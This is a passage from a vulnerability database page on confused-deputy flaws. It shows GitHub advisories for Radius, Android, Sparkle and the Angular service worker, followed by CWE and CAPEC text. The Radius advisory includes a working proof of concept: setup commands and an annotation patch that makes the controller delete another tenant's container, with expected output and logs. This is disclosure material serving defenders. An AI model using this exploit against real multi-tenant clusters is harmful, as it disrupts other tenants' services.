\u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502                                                                             \u2502\n\u2502  Tenant-A (Attacker)                    Tenant-B (Victim)                   \u2502\n\u2502  \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510                   \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510                \u2502\n\u2502  \u2502 legitimate-app   \u2502                   \u2502 victim-container \u2502                \u2502\n\u2502  \u2502 (Deployment)     \u2502                   \u2502 (Radius Resource)\u2502                \u2502\n\u2502  \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518                   \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u25b2\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518                \u2502\n\u2502           \u2502                                      \u2502                          \u2502\n\u2502           \u2502 1. Inject malicious                  \u2502 4. DELETE request        \u2502\n\u2502           \u2502    radapp.io/status                  \u2502    (no auth check!)      \u2502\n\u2502           \u2502    annotation                        \u2502                          \u2502\n\u2502           \u25bc                                      \u2502                          \u2502\n\u2502  \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510                    \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510               \u2502\n\u2502  \u2502 Radius Controller\u2502 \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u25b6\u2502   Radius API      \u2502               \u2502\n\u2502  \u2502 (High Privilege) \u2502  3. Uses injected  \u2502   (UCP)          \u2502               \u2502\n\u2502  \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518     container ID   \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518               \u2502\n\u2502           \u25b2                                                                 \u2502\n\u2502           \u2502 2. Reads annotation                                             \u2502\n\u2502           \u2502    without validation                                           \u2502\n\u2502           \u2502                                                                 \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n```\n\n## Proof of Concept (PoC)\n\n### Prerequisites\n\n- Kubernetes cluster with Radius v0.54.0 installed\n- Attacker has permission to modify Deployment annotations in a namespace\n- Target tenant has Radius-managed container resources\n\n### Environment Setup\n\n#### Step 1: Install Kind Cluster and Radius\n\n```bash\n# Create Kind cluster\nkind create cluster --name radius-test --image kindest/node:v1.27.3\n\n# Install Radius\nrad install kubernetes --set global.zipkin.url=http://jaeger-collector.radius-system.svc.cluster.local:9411/api/v2/spans\n\n# Verify installation\nkubectl get pods -n radius-system\n```\n\nExpected output:\n\n```text\nNAME                            READY   STATUS    RESTARTS   AGE\napplications-rp-xxx             1/1     Running   0          2m\nbicep-de-xxx                    1/1     Running   0          2m\ncontroller-xxx                  1/1     Running   0          2m\nucp-xxx                         1/1     Running   0          2m\n```\n\n#### Step 2: Create Attacker Tenant (tenant-a)\n\n```bash\n# Create resource group\nrad group create tenant-a\n\n# Create environment\nrad env create tenant-a-env --group tenant-a\n\n# Switch to tenant-a\nrad group switch tenant-a\nrad env switch tenant-a-env\n```\n\n#### Step 3: Deploy Legitimate Application in tenant-a\n\nCreate `legitimate-app.bicep`:\n\n```bicep\nextension radius\n\n@description(\u0027The Radius application resource\u0027)\nresource app \u0027Applications.Core/applications@2023-10-01-preview\u0027 = {\n  name: \u0027legitimate-app\u0027\n  properties: {\n    environment: environment()\n  }\n}\n\n@description(\u0027The container resource\u0027)\nresource container \u0027Applications.Core/containers@2023-10-01-preview\u0027 = {\n  name: \u0027legitimate-container\u0027\n  properties: {\n    application: app.id\n    container: {\n      image: \u0027nginx:latest\u0027\n    }\n  }\n}\n```\n\nDeploy the application:\n\n```bash\nrad deploy legitimate-app.bicep\n```\n\n#### Step 4: Create Victim Tenant (tenant-b)\n\n```bash\n# Create resource group and environment\nrad group create tenant-b\nrad env create tenant-b-env --group tenant-b\n\n# Create victim application and container via UCP API\nkubectl port-forward svc/ucp -n radius-system 8443:443 \u0026\nPF_PID=$!\nsleep 3\n\n# Create application\ncurl -k -X PUT \"https://localhost:8443/apis/api.ucp.dev/v1alpha3/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/applications/victim-app?api-version=2023-10-01-preview\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"location\": \"global\",\n    \"properties\": {\n      \"environment\": \"/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/environments/tenant-b-env\"\n    }\n  }\u0027\n\n# Create container\ncurl -k -X PUT \"https://localhost:8443/apis/api.ucp.dev/v1alpha3/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/containers/victim-container?api-version=2023-10-01-preview\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"location\": \"global\",\n    \"properties\": {\n      \"application\": \"/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/applications/victim-app\",\n      \"container\": {\n        \"image\": \"nginx:latest\"\n      }\n    }\n  }\u0027\n\nkill $PF_PID 2\u003e/dev/null || true\n```\n\n#### Step 5: Verify Victim Resource Exists\n\n```bash\nkubectl get deployment -n tenant-b-victim-app victim-container\n```\n\nExpected output:\n\n```text\nNAME               READY   UP-TO-DATE   AVAILABLE   AGE\nvictim-container   1/1     1            1           50s\n```\n\n### Exploitation\n\n#### Step 6: Inject Malicious Annotation\n\nCreate `attack-patch.yaml`:\n\n```yaml\nmetadata:\n  annotations:\n    radapp.io/enabled: \"false\"\n    radapp.io/status: \u0027{\"container\":\"/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/containers/victim-container\",\"scope\":\"/planes/radius/local/resourceGroups/tenant-b\"}\u0027\n```\n\nExecute the attack:\n\n```bash\nkubectl patch deployment legitimate-app -n tenant-a --patch-file attack-patch.yaml\n```\n\nExpected output:\n\n```text\ndeployment.apps/legitimate-app patched\n```\n\n#### Step 7: Verify Attack Success\n\nWait a few seconds and check the victim\u0027s resources:\n\n```bash\nkubectl get all -n tenant-b-victim-app\n```\n\nExpected output:\n\n```text\nNo resources found in tenant-b-victim-app namespace.\n```\n\n### Log Evidence\n\nThe controller logs show the cross-tenant deletion operation:\n\n**Attack Triggered** (15:29:41.351Z):\n\n```json\n{\n  \"timestamp\": \"2026-02-01T15:29:41.351Z\",\n  \"message\": \"Starting DELETE operation.\",\n  \"Deployment\": {\"name\": \"legitimate-app\", \"namespace\": \"tenant-a\"}\n}\n```\n\n**Cross-Tenant Delete Request** (15:29:41.351Z):\n\n```json\n{\n  \"timestamp\": \"2026-02-01T15:29:41.351Z\",\n  \"message\": \"Deleting container.\",\n  \"scope\": \"/planes/radius/local/resourceGroups/tenant-b\",\n  \"resourceType\": \"Applications.Core/containers\"\n}\n```\n\n**Deletion Successful** (15:29:41.367Z):\n\n```json\n{\n  \"timestamp\": \"2026-02-01T15:29:41.367Z\",\n  \"message\": \"Resource is deleted.\",\n  \"Deployment\": {\"name\": \"legitimate-app\", \"namespace\": \"tenant-a\"}\n}\n```\n\n## Impact\n\n### Security Impact\n\n- **Confidentiality**: No direct impact (no data disclosure)\n- **Integrity**: None - No victim data is modified; the issue deletes a Radius-managed container resource, which is recoverable from IaC\n- **Availability**: High - Can cause service disruption for target tenants\n\n### Attack Prerequisites\n\n1. Attacker needs permission to modify Deployment annotations in a Kubernetes namespace\n2. Attacker needs to know the target resource\u0027s Radius resource ID (obtainable through enumeration or social engineering)\n\n### CVSS 3.1 Vector\n\n```text\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H\n```\n\n| Metric              | Value   | Description                                                        |\n|---------------------|---------|--------------------------------------------------------------------|\n| Attack Vector       | Network | Via Kubernetes API                                                 |\n| Attack Complexity   | Low     | Only requires annotation modification                              |\n| Privileges Required | Low     | Requires Deployment edit permission                                |\n| User Interaction    | None    | No user interaction required                                       |\n| Scope               | Changed | Affects other tenants                                              |\n| Confidentiality     | None    | No data disclosure                                                 |\n| Integrity           | None    | No victim data modified; deletes a recoverable management resource |\n| Availability        | High    | Causes service disruption                                          |\n\n## Workarounds\n\nUntil an official fix is released, consider the following mitigations:\n\n1. **Restrict Annotation Modification Permissions**: Use Kubernetes RBAC to limit who can modify Deployment annotations\n2. **Monitor Anomalous Operations**: Monitor modifications to `radapp.io/status` annotations, especially those containing other tenants\u0027 resource IDs\n3. **Network Isolation**: Implement strict network policies in multi-tenant environments\n\n## Remediation Recommendations\n\n### Short-term Fix\n\nAdd validation logic in `annotations.go` to ensure the container ID in `radapp.io/status` belongs to the current namespace/tenant:\n\n```go\nfunc validateContainerScope(deployment *appsv1.Deployment, containerID string) error {\n    expectedScope := extractScopeFromDeployment(deployment)\n    actualScope := extractScopeFromContainerID(containerID)\n    if expectedScope != actualScope {\n        return fmt.Errorf(\"container scope mismatch: expected %s, got %s\", expectedScope, actualScope)\n    }\n    return nil\n}\n```\n\n### Long-term Fix\n\n1. **Implement Least Privilege Principle**: The controller should use credentials associated with the Deployment\u0027s tenant\n2. **Add Radius API Authorization Validation**: UCP should validate the source tenant of delete requests\n3. **Audit Logging**: Log all cross-tenant operation attempts\n\n## References\n\n- [Radius Project GitHub](https://github.com/radius-project/radius)\n- [CWE-20: Improper Input Validation](https://cwe.mitre.org/data/definitions/20.html)\n- [CWE-441: Unintended Proxy or Intermediary (Confused Deputy)](https://cwe.mitre.org/data/definitions/441.html)\n- [OWASP: Confused Deputy Problem](https://owasp.org/www-community/attacks/Confused_Deputy)",
  "id": "GHSA-fp5j-4fj2-4jvq",
  "modified": "2026-06-12T20:08:46Z",
  "published": "2026-06-12T20:08:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/radius-project/radius/security/advisories/GHSA-fp5j-4fj2-4jvq"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/radius-project/radius"
    },
    {
      "type": "WEB",
      "url": "https://github.com/radius-project/radius/releases/tag/v0.58.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Radius Controller May Delete a Container Resource via an Injected Deployment Annotation (Multi-Tenant Installs)"
}

GHSA-FV3V-V5PF-QHVM

Vulnerability from github – Published: 2025-12-08 18:30 – Updated: 2025-12-08 21:30
VLAI
Details

In multiple locations, there is a possible way to leak audio files across user profiles due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-22420"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-08T17:16:12Z",
    "severity": "HIGH"
  },
  "details": "In multiple locations, there is a possible way to leak audio files across user profiles due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.",
  "id": "GHSA-fv3v-v5pf-qhvm",
  "modified": "2025-12-08T21:30:19Z",
  "published": "2025-12-08T18:30:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-22420"
    },
    {
      "type": "WEB",
      "url": "https://android.googlesource.com/platform/frameworks/base/+/fb8f76eca9079c34af3e14ee0a58bc10a580ec42"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/2025-12-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-G3HP-F6MG-559V

Vulnerability from github – Published: 2026-05-29 19:47 – Updated: 2026-05-29 19:47
VLAI
Summary
Sparkle's AppInstaller post-stage-1 XPC listener accepts unvalidated connections, allowing spoofed appcast item data injection
Details

Summary

AppInstaller post-stage-1 XPC listener accepts unvalidated connections, allowing spoofed appcast item data injection.

Details

Autoupdate/AppInstaller.m's shouldAcceptNewConnection: only enforces SUCodeSigningVerifier validateConnection: before stage 1 completes. After _performedStage1Installation = YES, new connections to the registered Mach service <bundleId>-spki are accepted from any local process without team-ID or code-signing checks.

The following chain of events enables an attacker to inject a spoofed SPUSentUpdateAppcastItemData payload:

  1. Installer finishes unarchiving the update successfully (_willCompleteInstallation is set).
  2. The app responsible for updating the bundle crashes or is forcefully quit before it has a chance to send SPUSentUpdateAppcastItemData to the installer. There is no user interaction between the prior step and this one, so the timing window is tight.
  3. After stage 1 of the installer is performed (_performedStage1Installation = YES), but before final installation completes (since all services are cleaned up by then), an attacker process connects to the <bundleId>-spki Mach service - no code-signing validation is enforced - and sends a spoofed SPUSentUpdateAppcastItemData message containing an attacker-crafted SUAppcastItem.
  4. A Sparkle-aware app that checks for updates on the bundle being updated launches before installation completes. The progress agent re-broadcasts the spoofed SUAppcastItem on its <bundleId>-spks status service, and the launching app displays attacker-controlled release notes (name, version, critical flag).

Note: Sparkle can be used to update other app bundles, so the "app doing the updating" and the "app being updated" are not necessarily the same bundle.

In the system-domain case (SPUUsesSystemDomainForBundlePath = true), the AppInstaller runs as root via SMJobSubmit to kSMDomainSystemLaunchd, and the Mach service is reachable by any local user process.

Affected versions: 2.x branch including 2.9.1.

Impact

A local user-level process can inject a forged SUAppcastItem (arbitrary name, version, critical flag) into the progress agent's status broadcast. Other Sparkle-aware clients on the system will display attacker-controlled release notes as authoritative installation state.

The integrity of the installed code is not affected - the bundle moved into place is the legitimate, signature-validated update from stage 1. The impact is limited to UI spoofing of installation metadata.

Remediation

Enforce SUCodeSigningVerifier validateConnection: on all new connections regardless of installation stage, or disallow SPUSentUpdateAppcastItemData after the active connection invalidates.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "SwiftURL",
        "name": "github.com/sparkle-project/Sparkle"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.9.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47122"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-441"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-29T19:47:19Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nAppInstaller post-stage-1 XPC listener accepts unvalidated connections, allowing spoofed appcast item data injection.\n\n## Details\n\n`Autoupdate/AppInstaller.m`\u0027s `shouldAcceptNewConnection:` only enforces `SUCodeSigningVerifier validateConnection:` before stage 1 completes. After `_performedStage1Installation = YES`, new connections to the registered Mach service `\u003cbundleId\u003e-spki` are accepted from any local process without team-ID or code-signing checks.\n\nThe following chain of events enables an attacker to inject a spoofed `SPUSentUpdateAppcastItemData` payload:\n\n1. Installer finishes unarchiving the update successfully (`_willCompleteInstallation` is set).\n2. The app responsible for updating the bundle crashes or is forcefully quit before it has a chance to send `SPUSentUpdateAppcastItemData` to the installer. There is no user interaction between the prior step and this one, so the timing window is tight.\n3. After stage 1 of the installer is performed (`_performedStage1Installation = YES`), but before final installation completes (since all services are cleaned up by then), an attacker process connects to the `\u003cbundleId\u003e-spki` Mach service - no code-signing validation is enforced - and sends a spoofed `SPUSentUpdateAppcastItemData` message containing an attacker-crafted `SUAppcastItem`.\n4. A Sparkle-aware app that checks for updates on the bundle being updated launches before installation completes. The progress agent re-broadcasts the spoofed `SUAppcastItem` on its `\u003cbundleId\u003e-spks` status service, and the launching app displays attacker-controlled release notes (name, version, critical flag).\n\nNote: Sparkle can be used to update other app bundles, so the \"app doing the updating\" and the \"app being updated\" are not necessarily the same bundle.\n\nIn the system-domain case (`SPUUsesSystemDomainForBundlePath = true`), the AppInstaller runs as root via `SMJobSubmit` to `kSMDomainSystemLaunchd`, and the Mach service is reachable by any local user process.\n\nAffected versions: 2.x branch including 2.9.1.\n\n## Impact\n\nA local user-level process can inject a forged `SUAppcastItem` (arbitrary name, version, critical flag) into the progress agent\u0027s status broadcast. Other Sparkle-aware clients on the system will display attacker-controlled release notes as authoritative installation state.\n\nThe integrity of the installed code is **not** affected - the bundle moved into place is the legitimate, signature-validated update from stage 1. The impact is limited to UI spoofing of installation metadata.\n\n## Remediation\n\nEnforce `SUCodeSigningVerifier validateConnection:` on all new connections regardless of installation stage, or disallow `SPUSentUpdateAppcastItemData` after the active connection invalidates.",
  "id": "GHSA-g3hp-f6mg-559v",
  "modified": "2026-05-29T19:47:19Z",
  "published": "2026-05-29T19:47:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sparkle-project/Sparkle/security/advisories/GHSA-g3hp-f6mg-559v"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sparkle-project/Sparkle"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Sparkle\u0027s AppInstaller post-stage-1 XPC listener accepts unvalidated connections, allowing spoofed appcast item data injection"
}

GHSA-GV2Q-MQQV-365M

Vulnerability from github – Published: 2026-06-15 16:44 – Updated: 2026-06-15 16:44
VLAI
Summary
Angular Service Worker Policy-Bypass & Credential-Stripping Vulnerabilities
Details

An issue in the @angular/service-worker package compromises the integrity of request-policy enforcement during request reconstruction. When the Angular Service Worker intercepts network requests for matched assets, it reconstructs a new Request object using an internal helper function.

During this reconstruction process, the helper function strips the strict, client-defined request redirect policy configuration (such as redirect: 'error'), falling back to the browser's default 'follow' strategy.

If the target web application makes client-side requests with a strict policy (e.g., expecting a network error instead of automatically following redirects), the service worker will bypass this instruction and automatically follow HTTP 3xx redirects to other destinations. This acts as an unintended proxy/intermediary ("Confused Deputy") and can result in cookie/credential exposure or same-origin session-restricted data leakage if public dynamic routes redirect to sensitive routes.

Impact

Web applications registering the @angular/service-worker package are vulnerable to this redirect-policy bypass if they make safe client-side fetch calls (such as { redirect: 'error' }) to paths matched by a service worker asset group (such as lazy-loaded JavaScript bundles or dynamic public assets) that can return HTTP redirects to authenticated same-origin secure endpoints.

By stripping developer-defined safety boundaries, the service worker allows the browser to transparently query and return data from credentials-guarded resources that should have been blocked at the network barrier.

Attack Preconditions

To successfully exploit this vulnerability, all of the following application states and parameters must concurrently exist: 1. Active Angular Service Worker: The target application uses @angular/service-worker and has an active registration of ngsw-worker.js inside the client's browser context. 2. Asset Group Matching: An assetGroups pattern in ngsw-config.json encompasses the target dynamic routing endpoint. 3. Same-Origin Dynamic Redirection: The server routes a public matched asset route to a service that returns an HTTP 3xx redirect pointing to a sensitive, session-restricted same-origin private route (e.g., /private/account-summary.json). 4. Established User Session: The victim user currently has an active authentication state, such as valid same-origin session cookies or auth headers stored by the browser. 5. Client-Side Safe Fetch Call: The application initiates an explicit fetch request to the route with safety parameters: { redirect: 'error' }.

Mitigations & Workarounds

If upgrading the @angular/service-worker package is not immediately feasible, developers should implement the following defensive measures: * Avoid Public-to-Private Dynamic Redirection: Refactor the server architecture so that public paths matched by service worker asset groups never issue HTTP 3xx redirects to authenticated same-origin secure endpoints. * Strict Cookie Configuration: Apply strict flags to session cookies (SameSite=Strict; Secure; HttpOnly) and consider explicit route isolations (such as subdomains) for credential-guarded private resources. * Exclude Secure Endpoints from SW Config: Verify your ngsw-config.json settings and ensure that patterns targeting dynamic, secure endpoints are explicitly excluded from automatic asset groups or caching scopes.

Patches

  • 22.0.0-rc.2
  • 21.2.15
  • 20.3.22
  • 19.2.23
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@angular/service-worker"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "22.0.0-next.0"
            },
            {
              "fixed": "22.0.0-rc.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@angular/service-worker"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "20.0.0-next.0"
            },
            {
              "fixed": "20.3.22"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@angular/service-worker"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "19.0.0-next.0"
            },
            {
              "fixed": "19.2.23"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@angular/service-worker"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "18.2.14"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@angular/service-worker"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "21.0.0-next.0"
            },
            {
              "fixed": "21.2.15"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-50169"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-441",
      "CWE-524"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-15T16:44:21Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "An issue in the `@angular/service-worker` package compromises the integrity of request-policy enforcement during request reconstruction. When the Angular Service Worker intercepts network requests for matched assets, it reconstructs a new `Request` object using an internal helper function. \n\nDuring this reconstruction process, the helper function strips the strict, client-defined request redirect policy configuration (such as `redirect: \u0027error\u0027`), falling back to the browser\u0027s default `\u0027follow\u0027` strategy.\n\nIf the target web application makes client-side requests with a strict policy (e.g., expecting a network error instead of automatically following redirects), the service worker will bypass this instruction and automatically follow HTTP 3xx redirects to other destinations. This acts as an unintended proxy/intermediary (\"Confused Deputy\") and can result in cookie/credential exposure or same-origin session-restricted data leakage if public dynamic routes redirect to sensitive routes.\n\n### Impact\nWeb applications registering the `@angular/service-worker` package are vulnerable to this redirect-policy bypass if they make safe client-side fetch calls (such as `{ redirect: \u0027error\u0027 }`) to paths matched by a service worker asset group (such as lazy-loaded JavaScript bundles or dynamic public assets) that can return HTTP redirects to authenticated same-origin secure endpoints. \n\nBy stripping developer-defined safety boundaries, the service worker allows the browser to transparently query and return data from credentials-guarded resources that should have been blocked at the network barrier.\n\n### Attack Preconditions\nTo successfully exploit this vulnerability, all of the following application states and parameters must concurrently exist:\n1. **Active Angular Service Worker:** The target application uses `@angular/service-worker` and has an active registration of `ngsw-worker.js` inside the client\u0027s browser context.\n2. **Asset Group Matching:** An `assetGroups` pattern in `ngsw-config.json` encompasses the target dynamic routing endpoint.\n3. **Same-Origin Dynamic Redirection:** The server routes a public matched asset route to a service that returns an HTTP 3xx redirect pointing to a sensitive, session-restricted same-origin private route (e.g., `/private/account-summary.json`).\n4. **Established User Session:** The victim user currently has an active authentication state, such as valid same-origin session cookies or auth headers stored by the browser.\n5. **Client-Side Safe Fetch Call:** The application initiates an explicit fetch request to the route with safety parameters: `{ redirect: \u0027error\u0027 }`.\n\n### Mitigations \u0026 Workarounds\nIf upgrading the `@angular/service-worker` package is not immediately feasible, developers should implement the following defensive measures:\n* **Avoid Public-to-Private Dynamic Redirection:** Refactor the server architecture so that public paths matched by service worker asset groups never issue HTTP 3xx redirects to authenticated same-origin secure endpoints.\n* **Strict Cookie Configuration:** Apply strict flags to session cookies (`SameSite=Strict; Secure; HttpOnly`) and consider explicit route isolations (such as subdomains) for credential-guarded private resources.\n* **Exclude Secure Endpoints from SW Config:** Verify your `ngsw-config.json` settings and ensure that patterns targeting dynamic, secure endpoints are explicitly excluded from automatic asset groups or caching scopes.\n\n### Patches\n- 22.0.0-rc.2\n- 21.2.15\n- 20.3.22\n- 19.2.23",
  "id": "GHSA-gv2q-mqqv-365m",
  "modified": "2026-06-15T16:44:21Z",
  "published": "2026-06-15T16:44:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/angular/angular/security/advisories/GHSA-gv2q-mqqv-365m"
    },
    {
      "type": "WEB",
      "url": "https://github.com/angular/angular/pull/67494"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/angular/angular"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Angular Service Worker Policy-Bypass \u0026 Credential-Stripping Vulnerabilities"
}

Mitigation
Architecture and Design

Enforce the use of strong mutual authentication mechanism between the two parties.

Mitigation
Architecture and Design

Whenever a product is an intermediary or proxy for transactions between two other components, the proxy core should not drop the identity of the initiator of the transaction. The immutability of the identity of the initiator must be maintained and should be forwarded all the way to the target.

CAPEC-219: XML Routing Detour Attacks

An attacker subverts an intermediate system used to process XML content and forces the intermediate to modify and/or re-route the processing of the content. XML Routing Detour Attacks are Adversary in the Middle type attacks (CAPEC-94). The attacker compromises or inserts an intermediate system in the processing of the XML message. For example, WS-Routing can be used to specify a series of nodes or intermediaries through which content is passed. If any of the intermediate nodes in this route are compromised by an attacker they could be used for a routing detour attack. From the compromised system the attacker is able to route the XML process to other nodes of their choice and modify the responses so that the normal chain of processing is unaware of the interception. This system can forward the message to an outside entity and hide the forwarding and processing from the legitimate processing systems by altering the header information.

CAPEC-465: Transparent Proxy Abuse

A transparent proxy serves as an intermediate between the client and the internet at large. It intercepts all requests originating from the client and forwards them to the correct location. The proxy also intercepts all responses to the client and forwards these to the client. All of this is done in a manner transparent to the client.